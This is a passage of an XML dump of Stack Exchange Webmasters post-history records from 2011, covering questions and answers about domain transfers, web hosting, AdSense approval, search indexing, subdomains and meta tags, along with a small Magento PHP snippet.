http://blog.ajcw.com/demo/lists.html" />
  <row Id="33320" PostHistoryTypeId="2" PostId="14249" RevisionGUID="0701f350-9085-4806-b88c-ced76e4601d3" CreationDate="2011-05-23T09:57:44.383" UserId="7745" Text="Then find domain secret / authorization key and use it for transferring it.Note your domain must be 60 days old for eligibility." />
  <row Id="33321" PostHistoryTypeId="2" PostId="14250" RevisionGUID="fa6eccc3-dba6-42d6-9182-678ea06a28f3" CreationDate="2011-05-23T10:15:55.267" UserId="1643" Text="I use [feed2js][1]. It does the first two things you want. You can either use it from their site, or download the code for more customisation. You could use jQuery to achieve the smooth scrolling.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://feed2js.org/" />
  <row Id="33322" PostHistoryTypeId="2" PostId="14251" RevisionGUID="c8a59645-3c9b-4cba-b6ae-366324b190bd" CreationDate="2011-05-23T07:26:03.967" UserDisplayName="Atriya" Text="I'm looking to set up a personal website, but I know very little about web hosting. Could somebody recommend a (not very expensive) host? What should I look for when choosing a host? Also, I'm rather icky about atriyasen.com because people can't make out if I'm Atriya Sen (which I am) or Atri Yasen! Would you recommend atriya-sen.com? atriya_sen.com? Finally, what about other TLDs like .name? Thanks!" />
  <row Id="33323" PostHistoryTypeId="1" PostId="14251" RevisionGUID="c8a59645-3c9b-4cba-b6ae-366324b190bd" CreationDate="2011-05-23T07:26:03.967" UserDisplayName="Atriya" Text="Setting up a personal domain name" />
  <row Id="33324" PostHistoryTypeId="3" PostId="14251" RevisionGUID="c8a59645-3c9b-4cba-b6ae-366324b190bd" CreationDate="2011-05-23T07:26:03.967" UserDisplayName="Atriya" Text="&lt;url&gt;&lt;seo&gt;&lt;hosting&gt;&lt;domains&gt;" />
  <row Id="33325" PostHistoryTypeId="17" PostId="14251" RevisionGUID="a21f62e7-38a2-4ae7-b588-caf445868515" CreationDate="2011-05-23T11:26:18.867" UserId="-1" Comment="from http://stackoverflow.com/questions/6094106/setting-up-a-personal-domain-name" Text="" />
  <row Id="33326" PostHistoryTypeId="5" PostId="14251" RevisionGUID="2337594c-888c-4bf6-8e6b-ba16167527d3" CreationDate="2011-05-23T11:56:06.817" UserId="1253" Comment="modified tags" Text="I'm looking to set up a personal website, but I know very little about web hosting. Could somebody recommend a (not very expensive) host? What should I look for when choosing a host? Also, I'm rather icky about atriyasen.com because people can't make out if I'm Atriya Sen (which I am) or Atri Yasen! Would you recommend atriya-sen.com? atriya_sen.com? Finally, what about other TLDs like .name? " />
  <row Id="33327" PostHistoryTypeId="6" PostId="14251" RevisionGUID="2337594c-888c-4bf6-8e6b-ba16167527d3" CreationDate="2011-05-23T11:56:06.817" UserId="1253" Comment="modified tags" Text="&lt;domains&gt;&lt;looking-for-hosting&gt;" />
  <row Id="33328" PostHistoryTypeId="6" PostId="9426" RevisionGUID="0b071e23-ac41-4a8b-926b-54f754815ed3" CreationDate="2011-05-23T11:58:34.460" UserId="2739" Comment="Added additional tags" Text="&lt;html&gt;&lt;css&gt;&lt;browsers&gt;&lt;windows&gt;" />
  <row Id="33329" PostHistoryTypeId="24" PostId="9426" RevisionGUID="0b071e23-ac41-4a8b-926b-54f754815ed3" CreationDate="2011-05-23T11:58:34.460" Comment="Proposed by 2739 approved by -1 edit id of 335" />
  <row Id="33330" PostHistoryTypeId="6" PostId="9426" RevisionGUID="ce167092-6d93-4d55-8922-49e4f5d26a59" CreationDate="2011-05-23T11:58:35.210" UserId="1253" Comment="modified tags" Text="&lt;html&gt;&lt;css&gt;&lt;browsers&gt;" />
  <row Id="33331" PostHistoryTypeId="4" PostId="14153" RevisionGUID="faa98bc4-1692-41a3-b65f-fce0e48c0ac6" CreationDate="2011-05-23T11:58:58.220" UserId="1643" Comment="Added magento to the title as it's only mentioned as a tag and the question doesn't make sense without knowing that it's a magento specific question!" Text="Getting the filename associated with a sample in the &quot;Downloadable Information&quot; area in Magento" />
  <row Id="33332" PostHistoryTypeId="24" PostId="14153" RevisionGUID="faa98bc4-1692-41a3-b65f-fce0e48c0ac6" CreationDate="2011-05-23T11:58:58.220" Comment="Proposed by 1643 approved by 1253 edit id of 334" />
  <row Id="33333" PostHistoryTypeId="4" PostId="12815" RevisionGUID="c446b165-9969-436d-8944-5a597d2f2ff9" CreationDate="2011-05-23T11:59:07.847" UserId="7198" Comment="Clarified question, retagged as 'wordpress', 'theme', 'url-rewriting'." Text="How does WordPress determine which template to show?" />
  <row Id="33334" PostHistoryTypeId="6" PostId="12815" RevisionGUID="c446b165-9969-436d-8944-5a597d2f2ff9" CreationDate="2011-05-23T11:59:07.847" UserId="7198" Comment="Clarified question, retagged as 'wordpress', 'theme', 'url-rewriting'." Text="&lt;wordpress&gt;&lt;url-rewriting&gt;&lt;theme&gt;" />
  <row Id="33335" PostHistoryTypeId="24" PostId="12815" RevisionGUID="c446b165-9969-436d-8944-5a597d2f2ff9" CreationDate="2011-05-23T11:59:07.847" Comment="Proposed by 7198 approved by 1253 edit id of 333" />
  <row Id="33336" PostHistoryTypeId="25" PostId="14245" RevisionGUID="9698c92f-2a05-48e6-bbd8-ae89f5888f4a" CreationDate="2011-05-23T12:12:37.143" Comment="http://twitter.com/#!/StackWebmasters/status/72636043127558144" />
  <row Id="33337" PostHistoryTypeId="2" PostId="14252" RevisionGUID="3f018974-a1dc-4a04-a3e7-e857edd25fbd" CreationDate="2011-05-23T12:13:25.893" UserId="5739" Text="Their FAQ doesn't explain how to Transfer a domain out (what a surprise eh) but there should be somewhere in the Control panel that allows you to possibly unlock the domain then create an authorisation key which you can give to your new registrar.&#xD;&#xA;&#xD;&#xA;Why is it that these hosting companies don't answer support tickets? Dreadful level of service. Either have instructions in your FAQ or answer the queries.&#xD;&#xA;&#xD;&#xA; " />
  <row Id="33338" PostHistoryTypeId="2" PostId="14253" RevisionGUID="1f9ed3ca-57cd-4770-b1b5-7683005d0c92" CreationDate="2011-05-23T12:26:40.110" UserId="3310" Text="Cookies apply to domains so would be shared if you used folders but with subdomains could apply to the whole domain or individual sub domains.&#xD;&#xA;&#xD;&#xA;If you host user generated content you would need to be careful to avoid XSS attacks." />
  <row Id="33339" PostHistoryTypeId="2" PostId="14254" RevisionGUID="880a7ad1-2538-44f2-a606-a3f963144f06" CreationDate="2011-05-23T12:40:49.267" UserId="7748" Text="yesterday, i created two [blog][1] entries and published them on blogger but it is not showing up in google search results. How long do i have to wait before i can see it in google search results (before google crawls the blog). i have already shared the address on couple of sites and there are almost 80 page views from three different referrals. Any help/suggestion is highly appreciated.  &#xD;&#xA;regards&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zahidadeel.blogspot.com/" />
  <row Id="33340" PostHistoryTypeId="1" PostId="14254" RevisionGUID="880a7ad1-2538-44f2-a606-a3f963144f06" CreationDate="2011-05-23T12:40:49.267" UserId="7748" Text="My Blog not not showing in Google Search Results" />
  <row Id="33341" PostHistoryTypeId="3" PostId="14254" RevisionGUID="880a7ad1-2538-44f2-a606-a3f963144f06" CreationDate="2011-05-23T12:40:49.267" UserId="7748" Text="&lt;seo&gt;&lt;blog&gt;&lt;google-search&gt;&lt;blogger&gt;&lt;blogging&gt;" />
  <row Id="33342" PostHistoryTypeId="2" PostId="14255" RevisionGUID="410b9619-2bb5-4766-b156-67aa40912dfc" CreationDate="2011-05-23T12:43:21.440" UserId="1643" Text="There is no way of telling how long it will be. I'm not surprised that they aren't showing up yet. I suggest you just wait longer." />
  <row Id="33343" PostHistoryTypeId="2" PostId="14256" RevisionGUID="091e5ca2-31f4-4071-af82-a461f540c909" CreationDate="2011-05-23T12:48:49.600" UserId="7748" Text="i have created a [blog][1] on blogger few days ago and created two blog entries on it. when i try creating AdSense account with blog's address it does not accept the application due to PageType. i have searched around on the net and found that its probably due to duplicate or insufficient content on the blog but either of my blog entry is more than 2,000 words and i have literally typed 80 percent of its content with only few code blocks copied from other sites. Below is content of email i received as response to my application.&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;Thank you for your interest in Google AdSense. Unfortunately, after&#xD;&#xA;reviewing your application, we're unable to accept you into AdSense at&#xD;&#xA;this time.&#xD;&#xA;&#xD;&#xA;We did not approve your application for the reasons listed below.&#xD;&#xA;&#xD;&#xA;Issues:&#xD;&#xA;- Page Type&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;Further detail:&#xD;&#xA;Page Type: In order to participate in Google AdSense, publishers' websites&#xD;&#xA;and application information must satisfy the following guidelines:&#xD;&#xA;&#xD;&#xA;- Your website must be your own top-level domain (www.example.com and not&#xD;&#xA;www.example.com/mysite).&#xD;&#xA;- You must provide accurate personal information with your application&#xD;&#xA;that matches the information on your domain registration.&#xD;&#xA;- Your website must contain substantial, original content.&#xD;&#xA;- Your site must comply with Google AdSense program policies:&#xD;&#xA;https://www.google.com/adsense/policies&quot; which include Google's webmaster&#xD;&#xA;quality guidelines:&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=35769#quality&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA;If your site satisfies the above criteria in the future, please resubmit&#xD;&#xA;your application and we'll review it as soon as possible&#xD;&#xA;&#xD;&#xA;My Personal credentials are also same as they appear in my google account. i can't figure out the problem. Any Help/Suggestion is highly appreciated.  &#xD;&#xA;regards &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zahidadeel.blogspot.com/" />
  <row Id="33344" PostHistoryTypeId="1" PostId="14256" RevisionGUID="091e5ca2-31f4-4071-af82-a461f540c909" CreationDate="2011-05-23T12:48:49.600" UserId="7748" Text="Why My Adsense Account is not accepted" />
  <row Id="33345" PostHistoryTypeId="3" PostId="14256" RevisionGUID="091e5ca2-31f4-4071-af82-a461f540c909" CreationDate="2011-05-23T12:48:49.600" UserId="7748" Text="&lt;advertising&gt;&lt;google-adsense&gt;&lt;blog&gt;&lt;blogger&gt;&lt;blogging&gt;" />
  <row Id="33346" PostHistoryTypeId="2" PostId="14257" RevisionGUID="43c3e443-dbea-4667-a8c8-7d0297fcc016" CreationDate="2011-05-23T12:53:11.630" UserId="5739" Text="The more often you upload new content and the more backlinks you have to your blog the more often Google will index your site.&#xD;&#xA;&#xD;&#xA;On one of my blogs when I used to keep it updated daily, I could see new posts in the SERPS within a few hours (possibly sooner but I can't vouch for that). Now that I don't have so much time for this blog and I update it less regularly, articles don't show until the next day.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33347" PostHistoryTypeId="5" PostId="14254" RevisionGUID="39335532-b45e-4f21-b401-b083136e36ee" CreationDate="2011-05-23T13:01:50.623" UserId="-1" Comment="insert duplicate link" Text="&gt; **Possible Duplicate:**  &#xA;&gt; [I cannot see my website in google](http://webmasters.stackexchange.com/questions/2402/i-cannot-see-my-website-in-google)  &#xA;&#xA;&lt;!-- End of automatically inserted text --&gt;&#xA;&#xA;Hello Everyone,  &#xD;&#xA;yesterday, i created two [blog][1] entries and published them on blogger but it is not showing up in google search results. How long do i have to wait before i can see it in google search results (before google crawls the blog). i have already shared the address on couple of sites and there are almost 80 page views from three different referrals. Any help/suggestion is highly appreciated.  &#xD;&#xA;regards&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://zahidadeel.blogspot.com/" />
  <row Id="33348" PostHistoryTypeId="10" PostId="14254" RevisionGUID="8cf13de6-27ca-4d13-af1d-06355d26a68f" CreationDate="2011-05-23T13:01:50.030" UserId="1253" CloseReasonId="1" Text="[{&quot;Id&quot;:1253,&quot;DisplayName&quot;:&quot;John Conde&quot;}]" />
  <row Id="33349" PostHistoryTypeId="2" PostId="14258" RevisionGUID="00cb56e8-4dbb-42e8-a08f-f1d655be9df1" CreationDate="2011-05-23T13:02:21.393" UserId="7198" Text="Use numbers only. I've seen Russian, Chinese, and other non-Roman language sites take this approach.&#xD;&#xA;&#xD;&#xA;You might also consider omitting CAPTCHAs altogether by using a service such as [Defensio,](http://www.defensio.com/) [Mollom,](http://mollom.com/) or [Akismet,](http://www.akismet.com) which attempt to score submitted form data to determine if it's automated." />
  <row Id="33350" PostHistoryTypeId="5" PostId="14256" RevisionGUID="b7e6ab58-7748-431f-a6b2-66c006149b55" CreationDate="2011-05-23T13:02:53.370" UserId="1253" Comment="modified tags" Text="I have created a blog on blogger few days ago and created two blog entries on it. when i try creating AdSense account with blog's address it does not accept the application due to PageType. i have searched around on the net and found that its probably due to duplicate or insufficient content on the blog but either of my blog entry is more than 2,000 words and i have literally typed 80 percent of its content with only few code blocks copied from other sites. Below is content of email i received as response to my application.&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;Hello,&#xD;&#xA;&#xD;&#xA;Thank you for your interest in Google AdSense. Unfortunately, after&#xD;&#xA;reviewing your application, we're unable to accept you into AdSense at&#xD;&#xA;this time.&#xD;&#xA;&#xD;&#xA;We did not approve your application for the reasons listed below.&#xD;&#xA;&#xD;&#xA;Issues:&#xD;&#xA;- Page Type&#xD;&#xA;&#xD;&#xA;---------------------&#xD;&#xA;&#xD;&#xA;Further detail:&#xD;&#xA;Page Type: In order to participate in Google AdSense, publishers' websites&#xD;&#xA;and application information must satisfy the following guidelines:&#xD;&#xA;&#xD;&#xA;- Your website must be your own top-level domain (www.example.com and not&#xD;&#xA;www.example.com/mysite).&#xD;&#xA;- You must provide accurate personal information with your application&#xD;&#xA;that matches the information on your domain registration.&#xD;&#xA;- Your website must contain substantial, original content.&#xD;&#xA;- Your site must comply with Google AdSense program policies:&#xD;&#xA;https://www.google.com/adsense/policies&quot; which include Google's webmaster&#xD;&#xA;quality guidelines:&#xD;&#xA;http://www.google.com/support/webmasters/bin/answer.py?answer=35769#quality&#xD;&#xA;.&#xD;&#xA;&#xD;&#xA;If your site satisfies the above criteria in the future, please resubmit&#xD;&#xA;your application and we'll review it as soon as possible&#xD;&#xA;&#xD;&#xA;My Personal credentials are also same as they appear in my google account. i can't figure out the problem. Any Help/Suggestion is highly appreciated.  &#xD;&#xA;regards &#xD;&#xA;&#xD;&#xA;" />
  <row Id="33351" PostHistoryTypeId="6" PostId="14256" RevisionGUID="b7e6ab58-7748-431f-a6b2-66c006149b55" CreationDate="2011-05-23T13:02:53.370" UserId="1253" Comment="modified tags" Text="&lt;advertising&gt;&lt;google-adsense&gt;" />
  <row Id="33352" PostHistoryTypeId="5" PostId="14258" RevisionGUID="db0fe9aa-9af1-47fd-a679-3c755ea3c1fa" CreationDate="2011-05-23T13:08:43.583" UserId="7198" Comment="added 187 characters in body" Text="Use numbers only. I've seen Russian, Chinese, and other non-Roman language sites take this approach. Presenting Roman captures is unwise, as it's not safe to assume that mangled alien characters will be legible to non-native speakers. (I find them hard to decipher at the best of times.)&#xD;&#xA;&#xD;&#xA;You might also consider omitting CAPTCHAs altogether by using a service such as [Defensio,](http://www.defensio.com/) [Mollom,](http://mollom.com/) or [Akismet,](http://www.akismet.com) which attempt to score submitted form data to determine if it's automated." />
  <row Id="33353" PostHistoryTypeId="2" PostId="14259" RevisionGUID="cfb7d46b-2d89-497f-8038-c944fb860f09" CreationDate="2011-05-23T13:14:08.357" UserId="1253" Text="&gt; Your website must contain substantial,&#xD;&#xA;&gt; original content.&#xD;&#xA;&#xD;&#xA;I just checked out your website. You have two blog posts. That fails to meet the criteria of having &quot;substantial original content&quot;. You need to write a lot more content before you can have adsense on your website." />
  <row Id="33354" PostHistoryTypeId="2" PostId="14260" RevisionGUID="978ed0b4-eed9-4eb2-bd1a-c832d75f594c" CreationDate="2011-05-23T13:20:04.507" UserId="7405" Text="As with any high level question such as this one, the answer will largely depend on your requirements.&#xD;&#xA;&#xD;&#xA;The first question I should ask though (since it was not specified in your question) is why are you concerned with a subdomain or subfolder at all?  Will these be for &quot;vanity&quot; URLs?  If not and you are only serving up content based on a user logging in, then you would only need your base URL (no need for a folder or subdomain).  Once you authenticate a user, you will know who they are and what they should have access to and can serve up content based on their login.&#xD;&#xA;&#xD;&#xA;If you are looking to use this for vanity URLs, then here are a few pros/cons of each:&#xD;&#xA;&#xD;&#xA;**Subfolders**&#xD;&#xA;&#xD;&#xA; - Better option for SEO.  Search engines will see each subdomain as a separate website and will not give as much weight to the root domain.  Using subfolders will help to improve SEO rankings.&#xD;&#xA; - Your code will most likely have some kind of rewrite involved if you are planning to only have a single code base.&#xD;&#xA; - Will still need to take into account what a user is allowed to see based on their login.&#xD;&#xA; - As JamesRyan mentioned, if users are generating any code, then cookies could be a concern since they are all on the same domain.&#xD;&#xA; - If you are planning to use SSL (which you should be if you have users providing passwords or other private data), then you would only need a single certificate.  You can use a single wildcard certificate for subdomains, but those tend to be much more expensive.&#xD;&#xA;&#xD;&#xA;**Subdomains**&#xD;&#xA;&#xD;&#xA; - Better option if you are looking to create separate web sites (i.e. different webroot, different apache instance, different ssl certificate for each site, etc.)&#xD;&#xA; - Wouldn't necessarily have any rewrites to take into account (although you still could).  Your code could be written to check the host header to determine what content to serve up.&#xD;&#xA; - Would require either a wildcard DNS record or you will need to manually create DNS records for each subdomain you create.  Depending on the number of subdomains being created, this could require a lot of effort.  Wildcard DNS records would for sure be the way to go.&#xD;&#xA; - As with the subfolder option, if you are using the same code base to serve up each site, you still need to authenticate users and check what they are authorized to see.&#xD;&#xA;&#xD;&#xA;At the end of the day, it really comes down to what your requirements are.  I've only listed a few things to keep in mind with either option.  If you would like to refine your question to be more specific I'm sure you would probably get a few more specific answers.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33355" PostHistoryTypeId="2" PostId="14261" RevisionGUID="c4d78c39-92fc-4474-93fe-b018bd04cb33" CreationDate="2011-05-23T13:15:18.117" UserDisplayName="cfdev9" Text="I  registered a domain using Google apps. The process was simple and only cost $10 and the domain was registered automatically by Google through godaddy.&#xD;&#xA;&#xD;&#xA;Now I need to transfer the domain to its new owner and the new owner's tech support team are having difficulty getting it transferred over. They have asked me to do the following:&#xD;&#xA;&#xD;&#xA;Unlock the domain for transfer&#xD;&#xA;&#xD;&#xA;Remove the private registration&#xD;&#xA;&#xD;&#xA;Provide a transfer code&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;The private registration is through domains by proxy. is there some way to do this easily? Any advice appreciated.&#xD;&#xA;" />
  <row Id="33356" PostHistoryTypeId="1" PostId="14261" RevisionGUID="c4d78c39-92fc-4474-93fe-b018bd04cb33" CreationDate="2011-05-23T13:15:18.117" UserDisplayName="cfdev9" Text="Transferring a domain difficulty" />
  <row Id="33357" PostHistoryTypeId="3" PostId="14261" RevisionGUID="c4d78c39-92fc-4474-93fe-b018bd04cb33" CreationDate="2011-05-23T13:15:18.117" UserDisplayName="cfdev9" Text="&lt;domains&gt;&lt;dns&gt;" />
  <row Id="33358" PostHistoryTypeId="17" PostId="14261" RevisionGUID="75ecbf43-360e-4d01-970b-7b709530b051" CreationDate="2011-05-23T13:25:31.420" UserId="-1" Comment="from http://stackoverflow.com/questions/6097701/transferring-a-domain-difficulty" Text="" />
  <row Id="33359" PostHistoryTypeId="2" PostId="14262" RevisionGUID="456aa9af-60c4-4023-abf8-541349273ecd" CreationDate="2011-05-23T13:55:02.603" UserId="1643" Text="According to their [FAQ][1]:&#xD;&#xA;&#xD;&#xA;&gt; To transfer a privately registered&#xD;&#xA;&gt; domain name away from a DBP-affiliated&#xD;&#xA;&gt; Registrar, you only need to perform&#xD;&#xA;&gt; two steps:&#xD;&#xA;&gt; &#xD;&#xA;&gt; First, log in to your DBP account and&#xD;&#xA;&gt; cancel the private registration&#xD;&#xA;&gt; service for the domain name you want&#xD;&#xA;&gt; to transfer. Second, log in to your&#xD;&#xA;&gt; Registrar customer account and unlock&#xD;&#xA;&gt; the domain name. Once completed, you&#xD;&#xA;&gt; can then initiate the transfer process&#xD;&#xA;&gt; at the Registrar of your choosing.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: https://www.domainsbyproxy.com/FAQ.aspx" />
  <row Id="33360" PostHistoryTypeId="2" PostId="14263" RevisionGUID="9182668b-a55f-4c2e-bb67-5d2308f62054" CreationDate="2011-05-23T14:12:45.527" UserId="1314" Text="is there - as far as you know - a lighbox-like jQuery plugin that can display text in a lighbox fashion?&#xD;&#xA;&#xD;&#xA;I would need to display information and error messages in a message box which should behave just as a lightbox (i.e. shadowing background).&#xD;&#xA;&#xD;&#xA;Thanks." />
  <row Id="33361" PostHistoryTypeId="1" PostId="14263" RevisionGUID="9182668b-a55f-4c2e-bb67-5d2308f62054" CreationDate="2011-05-23T14:12:45.527" UserId="1314" Text="jQuery lightbox-like message box" />
  <row Id="33362" PostHistoryTypeId="3" PostId="14263" RevisionGUID="9182668b-a55f-4c2e-bb67-5d2308f62054" CreationDate="2011-05-23T14:12:45.527" UserId="1314" Text="&lt;jquery&gt;" />
  <row Id="33363" PostHistoryTypeId="2" PostId="14264" RevisionGUID="3c0659f8-3d88-4013-a157-95eecae5c796" CreationDate="2011-05-23T14:14:44.933" UserId="7304" Text="Working with ~100,000 products. I have the model information of a given product as the primary keyword, followed by the product line's associated keywords and ending with the site's global keywords.&#xD;&#xA;&#xD;&#xA;Is this a good way to do meta tag generation? Should globals be more prominent or is it best to prioritize what makes each page different?" />
  <row Id="33364" PostHistoryTypeId="1" PostId="14264" RevisionGUID="3c0659f8-3d88-4013-a157-95eecae5c796" CreationDate="2011-05-23T14:14:44.933" UserId="7304" Text="What keyword should come first in a product page's meta tags ?" />
  <row Id="33365" PostHistoryTypeId="3" PostId="14264" RevisionGUID="3c0659f8-3d88-4013-a157-95eecae5c796" CreationDate="2011-05-23T14:14:44.933" UserId="7304" Text="&lt;seo&gt;&lt;meta-keywords&gt;" />
  <row Id="33366" PostHistoryTypeId="2" PostId="14265" RevisionGUID="b40ddc3a-58b8-4272-be66-7a97c43fffab" CreationDate="2011-05-23T14:15:04.343" UserId="1643" Text="Yes, here are some:&#xD;&#xA;&#xD;&#xA;http://leandrovieira.com/projects/jquery/lightbox/&#xD;&#xA;&#xD;&#xA;An article from two years ago with a list of ten: http://line25.com/articles/rounding-up-the-top-10-jquery-lightbox-scripts&#xD;&#xA;&#xD;&#xA;One which isn't maintained, but which lists others on its home page: http://jquery.com/demo/thickbox/&#xD;&#xA;&#xD;&#xA;" />
  <row Id="33367" PostHistoryTypeId="2" PostId="14266" RevisionGUID="0109ab53-5db3-4a80-8e8b-4644ba0bcbce" CreationDate="2011-05-23T14:16:47.110" UserId="1253" Text="Since [meta tags have no influence on your page's ranking][1]s, but can be used in a page's listing in the search results, I would make sure the description tag is written like a sales piece. It can be the deciding factor for users when deciding which search result to click on. &#xD;&#xA;&#xD;&#xA;[The keywords tag is obsolete][2] so I wouldn't worry about the order of the keywords in there. &#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://googlewebmastercentral.blogspot.com/2007/12/answering-more-popular-picks-meta-tags.html&#xD;&#xA;  [2]: http://googlewebmastercentral.blogspot.com/2009/09/google-does-not-use-keywords-meta-tag.html" />
  <row Id="33368" PostHistoryTypeId="5" PostId="14264" RevisionGUID="828bfdaf-0c72-48bb-aed8-7e2f56045947" CreationDate="2011-05-23T14:28:53.987" UserId="7304" Comment="added 65 characters in body; edited tags" Text="Working with ~100,000 products. Currently the way I'm using has the following priorites (most to least)&#xD;&#xA;&#xD;&#xA; - Model information such as name and model number of a given product &#xD;&#xA; - Product line's associated keywords&#xD;&#xA; - The site's global keywords&#xD;&#xA;&#xD;&#xA;Is this a good way to generate quality meta tags and content? Should globals be more prominent or is it best to prioritize what makes each page different?" />
  <row Id="33369" PostHistoryTypeId="6" PostId="14264" RevisionGUID="828bfdaf-0c72-48bb-aed8-7e2f56045947" CreationDate="2011-05-23T14:28:53.987" UserId="7304" Comment="added 65 characters in body; edited tags" Text="&lt;seo&gt;&lt;keywords&gt;&lt;dynamic&gt;&lt;metadata&gt;" />
  <row Id="33370" PostHistoryTypeId="2" PostId="14267" RevisionGUID="a151dd87-26ab-48f2-8499-2cdb53ce8a67" CreationDate="2011-05-23T14:32:46.570" UserId="7617" Text="For small websites you may favour a CMS with a small footprint: Something easy to setup and maintain, with a flat file system instead of a database, but still with login and a wysiwyg-editor. There are simple solutions like Pulse CMS or SiteCake. Just look for &quot;cms for small websites&quot;." />
  <row Id="33371" PostHistoryTypeId="2" PostId="14268" RevisionGUID="074f1351-dae3-4b6f-abfd-fb2f7c3b00ac" CreationDate="2011-05-23T14:56:56.397" UserId="4306" Text="You can try Semantic Engine's Contextual Advertising API.&#xD;&#xA;&#xD;&#xA;&gt; Contextual Advertising API features include:&#xD;&#xA; &#xD;&#xA;&gt; * analyzing the content of a page on-the-fly and matching it to a relevant advertising category; &#xD;&#xA;&gt; * extraction of key concepts from a page. &#xD;&#xA;&#xD;&#xA;Free trial available.&#xD;&#xA;&#xD;&#xA;* http://www.semanticengines.com/contextualadapi.aspx" />
  <row Id="33372" PostHistoryTypeId="25" PostId="14264" RevisionGUID="a8fde127-fdca-4734-8448-a149c6eb3bf3" CreationDate="2011-05-23T15:12:37.633" Comment="http://twitter.com/#!/StackWebmasters/status/72681343674351616" />
  <row Id="33373" PostHistoryTypeId="2" PostId="14269" RevisionGUID="13299c65-43a0-446b-9eee-53eefbaa267b" CreationDate="2011-05-23T15:37:55.787" UserId="1643" Text="Web hosting is not a very good question to ask here, as there are so many and people have so many different experiences. &#xD;&#xA;&#xD;&#xA;To answer your other questions - I would recommend atriya-sen.com. Search engines are good at splitting URLs where the words are common, but in your case the extra hyphen will help them out. If you can get the .com then go for that. .name might be useful in future to reserve it, but not many people are using .name." />
  <row Id="33374" PostHistoryTypeId="2" PostId="14270" RevisionGUID="ef3b6de0-34ba-47f3-81ee-ec99f524eeb1" CreationDate="2011-05-23T15:44:10.223" UserId="7751" Text="The better question is, are there any that currently DO NOT support auto linking of phone numbers by default? Main support for iPhone, Android, BB, Windows Phone, Palm.&#xD;&#xA;&#xD;&#xA;I'm trying to determine if I should be adding href tags to the phone numbers on multiple client sites (e.g. `&lt;a href=&quot;tel:+1-800-555-1212&quot;&gt;800-555-1212&lt;/a&gt;`). The only reason I would be doing such a thing at this point is to allow for backwards (or future) compatibility, however, I'm having a hard time determining if it's worth the time or effort, as these links currently don't do much in a normal browser (FF, IE, Chrome, Safari, etc).&#xD;&#xA;&#xD;&#xA;Thanks in advence for the answers!" />
  <row Id="33375" PostHistoryTypeId="1" PostId="14270" RevisionGUID="ef3b6de0-34ba-47f3-81ee-ec99f524eeb1" CreationDate="2011-05-23T15:44:10.223" UserId="7751" Text="Do ALL current mobile browsers support linked phone numbers by default?" />
  <row Id="33376" PostHistoryTypeId="3" PostId="14270" RevisionGUID="ef3b6de0-34ba-47f3-81ee-ec99f524eeb1" CreationDate="2011-05-23T15:44:10.223" UserId="7751" Text="&lt;links&gt;&lt;browsers&gt;&lt;mobile&gt;&lt;compatibility&gt;" />
  <row Id="33377" PostHistoryTypeId="5" PostId="14182" RevisionGUID="6da88296-bbaa-4fa4-abe1-edea8ff0a4ad" CreationDate="2011-05-23T16:05:37.090" UserId="7628" Comment="Modified example with known working code." Text="If you're able to upload your mp3 sample files to a separate folder called 'mp3', it looks like you could use the &lt;a href=&quot;http://docs.magentocommerce.com/Mage_Downloadable/Mage_Downloadable_Model_Sample.html#getSampleDir&quot;&gt;getSampleDir()&lt;/a&gt; function to determine if the samples are in the mp3 folder and display the preview accordingly:&#xD;&#xA;&#xD;&#xA;So, if you concatenate $samplePath and $sampleFile together, you get the full path the the sample file, on disk. i.e.:  `$samplePath . $sampleFile` gets you `/path/to/samples/folder/sub-folder/path/to/file.mp3`&#xD;&#xA;&#xD;&#xA;In this example, it's actually not necessary to get the $samplePath, since you can just test whether or not $sampleFile ends with &quot;.mp3&quot;, as shown below, but I wanted to demonstrate how to get to the full path anyhow.&#xD;&#xA;&#xD;&#xA;    &lt;?php&#xD;&#xA;    if ($this-&gt;hasSamples()):&#xD;&#xA;        $_samples = $this-&gt;getSamples();&#xD;&#xA;&#xD;&#xA;        foreach ($_samples as $_sample):&#xD;&#xA;            $samplePath = $_sample-&gt;getBasePath(); // returns &quot;/path/to/samples/folder&quot;&#xD;&#xA;            $sampleFile = $_sample-&gt;getSampleFile(); // returns &quot;/sub-folder/path/to/file.mp3&quot;&#xD;&#xA;&#xD;&#xA;            // Figure out if the filename ends with &quot;.mp3&quot;&#xD;&#xA;            $length = strlen(&quot;.mp3&quot;);&#xD;&#xA;            $start  = $length * -1;&#xD;&#xA;            $_is_mp3 = (substr($sampleFile, $start) === &quot;.mp3&quot;);&#xD;&#xA;            if ($_is_mp3):&#xD;&#xA;                //show the mp3 player&#xD;&#xA;            else:&#xD;&#xA;                //show a link to the file&#xD;&#xA;            endif;&#xD;&#xA;             &#xD;&#xA;        endforeach;&#xD;&#xA;&#xD;&#xA;    endif;&#xD;&#xA;    ?&gt;&#xD;&#xA;" />
  <row Id="33378" PostHistoryTypeId="24" PostId="14182" RevisionGUID="6da88296-bbaa-4fa4-abe1-edea8ff0a4ad" CreationDate="2011-05-23T16:05:37.090" Comment="Proposed by 7628 approved by 1064 edit id of 338" />
